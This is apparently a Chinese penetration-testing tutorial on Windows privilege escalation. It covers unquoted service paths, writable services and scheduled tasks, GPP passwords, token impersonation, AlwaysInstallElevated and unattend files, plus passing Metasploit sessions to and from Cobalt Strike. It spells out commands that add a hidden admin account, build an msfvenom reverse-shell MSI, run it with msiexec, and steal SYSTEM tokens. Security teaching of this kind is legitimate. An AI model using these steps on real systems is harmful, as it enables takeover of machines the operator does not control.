Windows权限提升(二)
文章目录
- 1.可信任路径配置错误漏洞提权
- 什么是可信任路径配置错误
- 利用方式
- 系统服务配置错误提权
- 什么是系统服务配置错误
- 利用方式
- 计划任务提权漏洞
- 如何查看计划任务
- 利用方式
- 组策略首先项提权
- 核心原理
- 攻击流程
- MSF利用
- 令牌伪造
- alwaysinstallelevated 提权
- 漏洞相关策略与原理
- 漏洞形成原因
- MSF利用
- 自安装配置文件
- 原理
- 利用方式
- 第三方软件
- 补充(MSF 与 CS 会话的互相转交)
- MSF 转到 CS
- CS 转交会话到 MSF
1.可信任路径配置错误漏洞提权
什么是可信任路径配置错误
用一个生活化的例子来讲:
假设你是公司的管理员,让实习生去仓库取一个叫 “张三 李四.exe” 的文件(文件名中间有空格)。你告诉实习生:“去仓库找张三 李四.exe,找到了就运行它。”
但实习生比较 “笨”,他的理解是:先找叫 “张三.exe” 的文件,找到了就直接运行;如果没找到,再找 “张三 李四.exe”。
这时候,如果有坏人提前在仓库放了一个假的 “张三.exe”(恶意程序),实习生一进去就看到这个 “张三.exe”,就会直接运行它,而不是你要的 “张三 李四.exe”。
对应到电脑里的 “可信任服务配置漏洞”:
Windows 系统里的某些服务,就像这个 “实习生”。如果服务要运行的程序路径里有空格(比如 “C:\Program Files\abc def.exe”),但配置时没给路径加双引号,系统就会像实习生一样 “分步尝试”:
- 先找 “C:\Program.exe”(空格前的部分);
- 没找到,再找 “C:\Program Files\abc.exe”;
- 还没找到,最后才找正确的 “C:\Program Files\abc def.exe”。
如果攻击者有机会在电脑里放一个恶意程序,比如命名为 “Program.exe” 并放在 C 盘根目录,那么当这个服务启动时,系统就会先运行这个恶意的 “Program.exe”,而且是以最高权限(System)运行,攻击者就能趁机控制电脑了。
利用方式
- 打开MSF
- use windows/local/unquoted_service_path
- MSF 中的该模块就是用来监测有没有路径设置存在空白并且不加双引号的 ,如果找到了即可利用
系统服务配置错误提权
什么是系统服务配置错误
-
服务权限设得太高
比如一个普通的 “文件备份服务”,本应该用普通用户权限运行就够了,但配置时给了它 “系统管理员(Administrator)” 权限。
一旦这个服务有小漏洞被攻击者利用,攻击者就能直接用管理员权限操作电脑,比如删除文件、安装恶意软件。 -
服务文件 / 目录权限太松
服务运行时会用到一些关键文件(比如可执行程序、配置文件),如果这些文件的权限设置成 “允许所有用户修改”,攻击者就能偷偷替换这些文件为恶意程序。
下次服务启动时,就会运行攻击者的恶意程序,进而控制服务。 -
服务启动账户太 “弱”
有些服务需要用账户密码登录后才能启动,但配置时用了 “空密码”(没设密码),或者密码是 “123456” 这种简单密码。
攻击者很容易猜中密码,登录后篡改服务的运行逻辑,让服务执行恶意操作
总而言之就是一个服务有很高的权限,却能被低权限用户访问。
利用方式
windows/local/service_permissions
MSF 中的该模块可以用来查看配置错误 即以高权限运行但是普通用户可以修改
计划任务提权漏洞
如何查看计划任务
- 按下 Win + R 打开 “运行”,输入 taskschd.msc 并回车,打开 “任务计划程序”。命令行的话可以使用 schtasks 命令
- 在左侧导航栏中,展开 “任务计划程序库”,可以看到系统中所有的计划任务(包括系统自带和用户创建的)
- 选中某个任务,右侧会显示其详细信息:触发时间(何时执行)、操作(执行什么程序 / 脚本)、运行权限(以哪个用户身份运行,如 SYSTEM、Administrator)等。
利用方式
-
假设系统有一个计划任务 BackupTask,每天凌晨 3 点以 SYSTEM 权限(最高权限)运行 C:\backup\backup.bat 脚本。
若普通用户对 C:\backup\ 目录有写入权限,可直接修改 backup.bat,在其中添加恶意命令:
net user hacker P@ssw0rd /add # 添加新用户 net localgroup administrators hacker /add # 将新用户加入管理员组
当任务凌晨 3 点运行时,恶意命令会以 SYSTEM 权限执行,攻击者即可用 hacker 账号登录管理员权限。 -
Windows 计划任务的配置信息存储在 C:\Windows\System32\Tasks\ 目录下(如 BackupTask 对应同名文件)。
若攻击者对该配置文件有修改权限,可直接编辑任务的 “执行命令”,将其指向自己的恶意程序(如 C:\tmp\malware.exe),任务运行时会以高权限执行恶意程序。
组策略首先项提权
核心原理
在 Windows 域环境中,管理员常用会通过 “组策略首选项” 向域内计算机推送配置(比如创建本地用户、设置服务启动项、映射网络驱动器等)。为了让这些配置能在目标计算机上自动生效,组策略首选项会在配置文件中以加密形式存储敏感信息(如用户密码)。
但问题在于:微软早期公开了这种加密的 “私钥”(可在官方文档中找到)。这意味着,任何知道这个密钥的人,都能解密出配置文件中的密码。
攻击流程
-
寻找加密的密码文件
组策略首选项的配置文件(如包含密码的 XML 文件)会保存在域控制器的共享目录 SYSVOL 中(路径通常是 \域名\SYSVOL\域名\Policies{GUID}\Machine\Preferences\ 等)。
由于 SYSVOL 目录默认对域内所有用户开放读取权限,普通用户也能访问这些配置文件。 -
解密获取明文密码
攻击者从配置文件中找到加密的密码字段(比如 标签中的加密字符串),再用微软公开的密钥进行解密,得到明文密码。 -
利用密码提权
这些密码通常是管理员为了配置任务而设置的高权限账号(如本地管理员、域管理员)密码。攻击者拿到密码后,可直接用该账号登录系统,获得管理员权限。 -
典型场景:
比如域管理员为了让域内所有计算机自动创建一个本地管理员账号 admin,通过组策略首选项配置了这个任务,并在配置中设置了 admin 的密码。
这个密码会以加密形式保存在 SYSVOL 目录的 XML 文件中。普通用户读取到该文件后,用公开密钥解密得到 admin 的密码,登录后即可获得本地管理员权限。
MSF利用
windows/gather/credentials/gpp
该模块:是一个凭证收集模块,专门用于从 Windows 域环境的组策略首选项(Group Policy Preferences,GPP)中提取并解密敏感凭证(主要是密码)
令牌伪造
我们这里着重介绍这三条命令 首先必须要明确使用的前提条件
-
use incognito
作用:加载 incognito 模块。incognito 是 Meterpreter 中专门用于令牌操作、进程伪装 的功能模块,能让攻击者查看、窃取系统中的用户 / 进程令牌。 -
list_tokens -u
作用:列出当前系统中可用的用户级令牌(-u 表示仅列用户令牌,若要列所有令牌可省略 -u)。
令牌(Token)是 Windows 系统中标识 “用户身份与权限” 的凭证。通过这条命令,攻击者能看到哪些用户(包括高权限用户如 NT AUTHORITY\SYSTEM)的令牌当前可被窃取。 -
impersonate_token “NT AUTHORITY\SYSTEM”
作用:模拟(窃取)NT AUTHORITY\SYSTEM 令牌。
NT AUTHORITY\SYSTEM 是 Windows 系统的最高权限身份,拥有对系统的完全控制能力。执行这条命令后,当前 Meterpreter 会话的权限会临时切换为 SYSTEM,从而让攻击者能执行高权限操作(如读取系统敏感文件、修改服务配置等)。
补充: 图片中提到的webshell 权限一般体现于 使用 getuid 命令后 为 www-data / www 表名为websell 权限
geiuid 结果为 server name: xxx 是为普通用户权限
alwaysinstallelevated 提权
漏洞相关策略与原理
AlwaysInstallElevated 是 Windows 注册表中的一个策略设置项。正常情况下,Windows Installer 负责管理和配置软件服务,普通用户安装程序时权限有限。可一旦 AlwaysInstallElevated 策略被启用,那么系统中任何用户在执行.msi(Windows Installer 的数据包)文件时,都能以 NT AUTHORITY\SYSTEM 权限来运行安装操作,也就是能获取到系统最高权限 。
漏洞形成原因
该漏洞的产生是因为用户错误开启了 Windows Installer 特权安装功能,即把注册表中 HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer 以及 HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer 这两个路径下的 AlwaysInstallElevated 键值都设置成了 1,从而导致权限控制出现问题 。
注意:上面的路径可能在不同系统版本会有出入,但是基本大差不差 根据关键词搜索即可
MSF利用
-
漏洞检测模块
post/windows/gather/enum_policies该模块用于枚举目标系统的组策略配置,其中包含对 AlwaysInstallElevated 策略的检测,可快速判断目标是否存在该漏洞。
若输出中显示 AlwaysInstallElevated 在 HKLM 和 HKCU 注册表路径下均为 1,则证明目标存在该漏洞。
-
漏洞利用模块
exploit/windows/local/always_install_elevated这是直接利用 AlwaysInstallElevated 漏洞的模块,通过生成恶意 MSI 安装包并以 SYSTEM 权限执行,最终获取高权限 Meterpreter 会话。
-
实际利用
第 1 步:做个 “有毒的安装包”
正常的 .msi 安装包是装软件的,咱们做一个特殊的 .msi,里面不装正经软件,而是藏一段 “后门代码”(比如让目标电脑主动连咱们的程序)。
不用自己写,用工具(比如 Metasploit)自动生成就行,比如输入命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的电脑IP LPORT=你的端口 -f msi -o evil.msi
这样就得到了一个叫 evil.msi 的有毒安装包。
第 2 步:把 “毒包” 传到目标电脑上
想办法把这个 evil.msi 放到目标电脑里,比如:
如果能远程控制目标的文件管理器,直接拖过去;
或者用命令行工具(比如 certutil)从你的电脑下载过去。
第 3 步:让目标电脑 “运行毒包”
在目标电脑上,用命令行执行这个安装包:
msiexec /q /i C:\路径\evil.msi
因为前面那两个 “开关” 是开着的,系统会认为这个安装包 “很安全”,直接用最高权限(SYSTEM)来运行它。
这时候,藏在里面的 “后门代码” 就会启动,让目标电脑主动连到你的电脑上,你就能用最高权限控制它了(比如看所有文件、改密码、装其他工具等)。
自安装配置文件
原理
打个比方,你开了家网吧,有几十台电脑,每台都得装一样的系统、游戏、驱动这些。要是一台一台手动装,那得累死。这时候,你就可以弄一个 “模板配置”,把系统、游戏、驱动这些都先在一台电脑上装好,然后生成一个自带安装配置的文件(就像一个 “安装剧本”)。之后,用这个配置文件去批量装剩下的电脑,每台电脑装的时候都照着这个 “剧本” 来,很快就能把所有电脑都配置成一样的环境啦。
而要是这个 “安装剧本”(自带安装配置文件)里,不小心写了管理员密码这类敏感信息,或者配置得有漏洞,黑客就可能利用这些问题,钻空子拿到电脑的控制权
利用方式
post/windows/gather/enum_unattend
基本功能
文件搜索:
自动搜索目标 Windows 系统中常见存储无人参与安装配置文件的路径, 包括但不限于 C:\Windows\Panther\、C:\Windows\System32\Sysprep\、C:\Windows\System32\Sysprep\Panther\ 等目录。无人参与安装配置文件通常是在系统进行自动化安装过程中,用于配置各种系统参数、用户信息、软件安装选项等的文件。
信息提取:
如果找到了无人参与安装配置文件,该模块会读取文件内容, 并尝试提取其中可能包含的敏感信息,例如本地管理员账户的密码(在早期的一些配置文件格式中,可能会以明文或加密形式存储)、产品密钥、网络配置信息等。
第三方软件
可以在网络上搜索存在提权漏洞的软件,在会话中查看目标机器相关进程,来利用历史漏洞进行打击
补充(MSF 与 CS 会话的互相转交)
MSF 转到 CS
1. background 将session转到后台
2. use exploit/windows/local/payload_inject
3. set payload windows/x64/meterpreter/reverse_http 因为CS是走http流量的
4. set lport = cs监听器端口
5. set lhost = 监听器 host
6. set disablepayloadhandler true
流程理解:
就像你已经闯进了敌人的一个小房间(MSF 会话),现在想把这个房间的钥匙复制一把给同伙(CS)。
payload_inject 模块就是 “复制钥匙” 的工具;
reverse_http 是钥匙的 “形状”,必须和同伙手里的锁(CS 监听器)匹配;
x64 是钥匙的 “尺寸”,得和门的尺寸(系统架构)匹配,不然插不进去;
disablepayloadhandler true 是告诉你的工具 “别自己留一把钥匙”(别自己监听),确保复制的钥匙只能给同伙。
-
为什么用 exploit/windows/local/payload_inject 模块?
这个模块的作用是「在当前已有的会话进程中,注入一个新的 payload(恶意代码)」。
比如你已经通过 MSF 拿到了一个目标机器的 Meterpreter 会话(比如低权限会话),现在想把这个权限转到 CS 上,就可以用这个模块:它会在目标机器的内存中直接注入一个新的反弹 payload(指向 CS 监听器),不需要上传新文件,隐蔽性更高。
相当于在 “已控制的进程里再开一个后门”,这个后门直接连 CS。
CS 转交会话到 MSF
- use exploit/multi/handler
- show options
- set payload windows/meterpreter/reverse_http
- set lhost 192.168.15.130
- set lport 3333
- CS 上创建监听
- HOST – 192.168.15.130
- 端口 – 3333
- 点击 Add
- 在上方已经上线的主机 点击右键 增加会话, 选择创建好的监听 即可转交权限
补充:为什么反弹shell 藏于木马中,当被以system 权限在目标主机上运行时就会反弹system 权限
这里其实与权限的继承性有关,当木马被以高权限运行,shell也会,那么由shell 执行的命令同样也会以高权限运行,达到提权的效果